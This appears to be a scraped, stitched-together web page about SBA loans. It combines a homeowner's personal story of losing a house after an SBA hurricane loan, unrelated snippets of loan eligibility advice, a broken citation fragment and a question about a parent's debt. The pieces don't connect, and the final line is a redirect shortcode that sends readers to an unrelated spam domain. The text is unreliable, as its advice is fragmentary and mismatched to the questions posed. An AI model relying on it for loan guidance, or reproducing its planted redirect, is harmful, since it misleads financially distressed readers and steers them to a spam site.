I had an SBA loan in Florida due to the hurricanes of 2004. In 2007 I lost my job and in six months I was on SSDI knowing that there was no way I would be able to pay the taxes, mortgage or insurance and be able to survive. The Treasury Department started taking money for SBA out of my SSDI. I didn’t mind that it was that every time I would call the SBA to try and get help no one wanted to help. So it took 5 years for the county to take the house for delinquent taxes in 2013. If they had just talked to me to explain anything maybe there might have been something I could have done to keep my home. In my 60’s and having to start over and not in great health. Now I live in a studio which is only 12×20 not that big. I feel like life is over and it will only get worse form here. Enough pity party. I just want the Government to be there for the little people and help like they should, when. They helped with the hurricanes but once that is done so are they. They need to include the taxes in the mortgage so a lot of the tax sales won’t happen. MY home sold for only S30,000 and the buyer sold it for $70,000. Haven’t heard for anyone SBA about the difference. I think it is somewhere around $18,000, Will they just let it slide, seems if they wanted something they would be still deducting from my SSDI? Would I be able to get a Veteran’s loan to get a small home? Any answer would be appreciated. Wish I found this years ago. Maybe something could have been done to keep it. Jude
You might still have the option to settle when the loan is with the Treasury Department, but it’s a tedious process. So it’s always better to find solutions at the beginning of the process, when the loan is still with the original lender. Think about it this way: would you rather deal with a nice woman at a bank named Mary, or a government agent who eats entrepreneurs for breakfast?
• Your business needs to meet the SBA’s size requirements. In order to qualify as a small business, your firm needs to meet the government’s definition of a small business for your industry. Some industry size requirements are based on average annual receipts; other industries are judged based on the number of employees, which generally can’t exceed 500 workers — although there are exceptions. The SBA maintains an exhaustive list of size requirements broken down by industry.
The CDC / SBA 504 loan program is designed to get affordable, long term loans to small businesses looking to buy or build facilities to operate out of as well as outfit those facilities with heavy equipment with long lifespans.
Jump up ^ – “Small Business Administration Fiscal Year 2015 Congressional Budget Justification and Fiscal Year 2013 Annual Performance Report Fiscal Year 2015 Congressional Budget Justification and Fiscal Year 2013 Annual Performance Report” Check |url= value (help).
Add experience: Seeing some gray hair on your management team will help ease investors’ fears about your company’s ability to deal with a tough economy. Even an unpaid, but highly experienced adviser could add to your credibility.
To apply for an SBA microloan, you must work with an SBA-approved intermediary in your area. Here’s a list of SBA-approved intermediaries. While SBA Microloans are smaller in size, they typically take just as long as SBA 7(a) loans to obtain, which can mean several months.
Your business must operate as a for-profit company and you can’t be on the SBA’s ineligible businesses list, which includes life insurance companies, financial businesses such as banks and real estate investing.
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• Your business may need to meet other criteria depending on the type of loan. The SBA has a variety of loan guarantee programs for different purposes. These are explained below. Make sure to check the qualifications for the particular loan you want to determine your eligibility before applying.
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In addition to your credit score, lenders will consider how long your business has been operating. You need to have been in business at least one year to qualify for most online small-business loans and at least two years to qualify for most bank loans.
What can we do to protect ourselves and our parents? We have a small cash offer for the total debt of the property that will cover the first on the property but the second loan which is SBA guaranteed will not be covered. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]